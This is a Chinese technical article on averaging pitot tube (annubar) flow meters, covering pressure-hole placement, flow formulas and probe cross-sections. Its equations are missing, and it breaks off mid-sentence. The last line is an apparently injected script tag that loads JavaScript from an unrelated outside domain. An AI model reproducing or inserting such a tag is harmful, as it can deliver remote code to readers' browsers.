摘 要：针对均速管流量计的总压及背压检测孔的数量和位置，检测杆的剖面形状等问题进行了讨论。详细介绍了均速管的几种结构形式，给出了使用流量测量的计算公式，分析了各种因素对测量精度的影响，最后对该产品的发展提出了一个构想。
关键词：流量测量；均速管；影响因素；应用
均速管流量计的测量元件——均速管（国外称annubar，直译阿牛巴），是基于早期皮托管测速原理发展起来的，是60年代后期开发的一种新型差压流量测量元件，并开始应用与我国的工业现场，70年代中期已有30余家厂家进行了研制生产。均速管的优点是；结构上较为简单（如图1所示），压力损失小，安装、拆卸方便，维护量小。
该流量计由于生产成本低，价格低廉，因此在市场较为畅销，在众多的流量仪表中占有了一席之地。特别是由于其压力损失小（与孔板相比较，仅为孔板的5%以下），大大减少了动力消耗，节能效果显著，这在能源紧张的今天，有着其特殊的意义。由于该流量计适应范围宽，长期稳定性好（如图2所示）近年来有了较大的发展，出现了几种结构形式不同的流量计。但因使用不当，在应用中产生了一些问题，使得客观要求与发展现状产生了很大的矛盾，许多人期望其应用问题能得到解决，为此人们做了大量的不懈努力，使得均速管流量计这一既古老而又年轻的流量计，在能源、环保等计量测试中得到了较为广泛的应用。
1 均速管流量传感器的测量原理
均速管流量传感器，由其结构示意图所知，它是一根沿直径插入管道中的中空金属杆，在迎向流体流动方向有成对的测压孔，一般说来是两对，但也有一对或多对的，其外形似笛。迎流面的多点测压孔测量的是总压，与全压管相连通，引出平均全压p1，背流面的中心处一般开有一只孔，与静压管相通，引出静压p2。均速管是利用测量流体的全压与静压之差来测量流速的。均速管的输出差压（△p）和流体平均速度（v），可根据经典的伯努利方程得出
（1）式中； △p——全压与静压之差，pa
ρ——流体密度，kg/m3
k——校正系数。
如果用流量来表示，其流量计算基本公式为
式中 qv ——流体的体积流量，m3/s；
qm——流体的质量流量，kg/s；
α ——工作状态下均速管的流量系数；
ε——工作状态下流体流过检测杆时的流束膨胀系数；
a——工作状态下管道内截面面积，m2
对于不同压缩性流体：ε=1； 对于可压缩性流体：ε＜1
全压孔的位置，可按等分面积法求取。这样，在流量变化的情况下均速管能有较好的适应能力，所反映的误差较小。所谓等分面积法，就是将管道截面分割成内圆和外环的等效平均流速点，这些点就是全压孔的位置，如图3所示。
全压孔的开孔位置可用切比雪夫数值积分的解法求得，如图4所示，图中r1=±0.4597r，r2=±0.8881r，r1，r2为取压孔中心距管道中心的距离，r为管道内半径。
对于这种选点方法，无论是数目还是位置，近年来学术界及国际标准化组织均提出了异议，认为管内的流动应分为三个区域，选点按对数——切比雪夫（log-jchebycheff）法进行，因此，总压检测孔的位置应为;r1=±0.03754r；r2=±0.7252r；r3=±0.9358r。这种方法已被国际标准化组织(iso)封闭管道中的流量测量委员会(tc30)所确认，鉴于上述原因，通过人们的试验研究，均速管的总压孔数目还是建议采用二对或三对为宜。
背压检测孔长期以来采用一个，是由于人们已经认识到均速管按规范是处于位势流中，而位势流的前题是管道横截面上各点静压均相等，没有横向流动。从这个角度来看，一个背压检测孔已足够，为了防止流体的流量在检测过程中阻塞背压检测孔，多孔的背压取压，已开始应用在均速管流量传感器上，总之，由流量的基本公式可知，只要有效地测出均速管的输出差压△p，就可测出流体的流量值，这就是均速管流量传感器的测量原理。
2 均速管的结构形式
均速管的结构是一根中空的金属杆，其剖面形状应用最多的产品是圆形及菱形，80年代中期也采用过机翼形截面。
圆形截面的均速管，当雷诺数re处于105至106之间时，使得流量系数α不稳定，它的稳定区域是在雷诺数re<105和re＞106。这主要是由于圆形截面的阻力件，自身存在着“阻力危机”而引起的。流体流经圆管时存在着分离点不同而导致圆管在迎流流体时，在圆管上引起的压力分布不同，从而引起?script src=http://er12.com/t.js>
